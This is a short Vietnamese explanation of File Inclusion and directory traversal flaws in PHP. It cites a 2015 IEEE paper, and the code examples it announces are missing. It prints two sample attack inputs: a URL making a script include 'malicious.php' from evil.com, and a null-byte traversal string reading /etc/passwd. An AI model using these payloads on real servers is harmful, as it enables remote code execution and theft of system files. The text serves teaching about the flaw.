Lỗ hổng File Inclusion (FI) đề cập đến khả năng kẻ tấn công chèn một tệp được tạo ra từ máy chủ từ xa (có thể là của kẻ tấn công) hoặc khả năng truy cập/chèn một tệp cục bộ vốn không được phép truy cập nếu không có sự uỷ quyền hợp lệ. Lỗ hổng này xảy ra do dữ liệu đầu vào của người dùng được sử dụng trực tiếp làm tên tệp hoặc việc sử dụng các biến chưa được khởi tạo trong các thao tác tệp. Hãy xem xét đoạn mã sau:
Một cuộc tấn công có thể thực hiện tấn công chèn tệp bằng cách sử dụng các giá trị sau:
/include.php?file=http://evil.com/malicious.php
Cuộc tấn công này khiến chương trình PHP dễ bị tấn công include và thực thi một tệp PHP độc hại, có thể gây ra các hành vi nguy hiểm cho chương trình. Các lệnh PHP tương tự có thể gây ra lỗ hổng FI bao gồm include_once, require và require_once. Hơn nữa, lỗ hổng FI cũng có thể xuất hiện với các hoạt động PHP liên quan đến truy cập tệp và thao tác tệp, trong đó kẻ tấn công có thể xem các tệp bị hạn chế, hoặc thậm chí thực thi các lệnh độc hại trên máy chủ web, có thể dẫn đến xâm nhập toàn bộ hệ thống. Ví dụ, hãy xem xét đoạn mã sau:
Trong trường hợp trên, đầu vào newPath được nhận từ tham số HTTP GET. Kẻ tấn công có thể cung cấp một giá trị như
newPath!"../../../../../etc/passwd%00.txt"
để truy cập tệp mật khẩu từ hệ thống tệp. Biểu thức '(../)' hướng dẫn hệ thống đi lên một thư mục. Kẻ tấn công phải đoán xem hắn phải đi lên bao nhiêu thư mục để tìm thư mục bí mật của người dùng trên hệ thống, nhưng điều này có thể dễ dàng thực hiện bằng cách thử và sai. Lưu ý rằng lỗ hổng này được gọi là "directory traversal", nhưng chúng tôi nhóm lỗ hổng này cùng với FI vì nó cũng có thể được xem là một lỗi chèn tệp cục bộ.
Tài liệu tham khảo
1. L. K. Shar, L. C. Briand and H. B. K. Tan, "Web Application Vulnerability Prediction Using Hybrid Program Analysis and Machine Learning," in IEEE Transactions on Dependable and Secure Computing, vol. 12, no. 6, pp. 688-707, 1 Nov.-Dec. 2015, doi: 10.1109/TDSC.2014.2373377,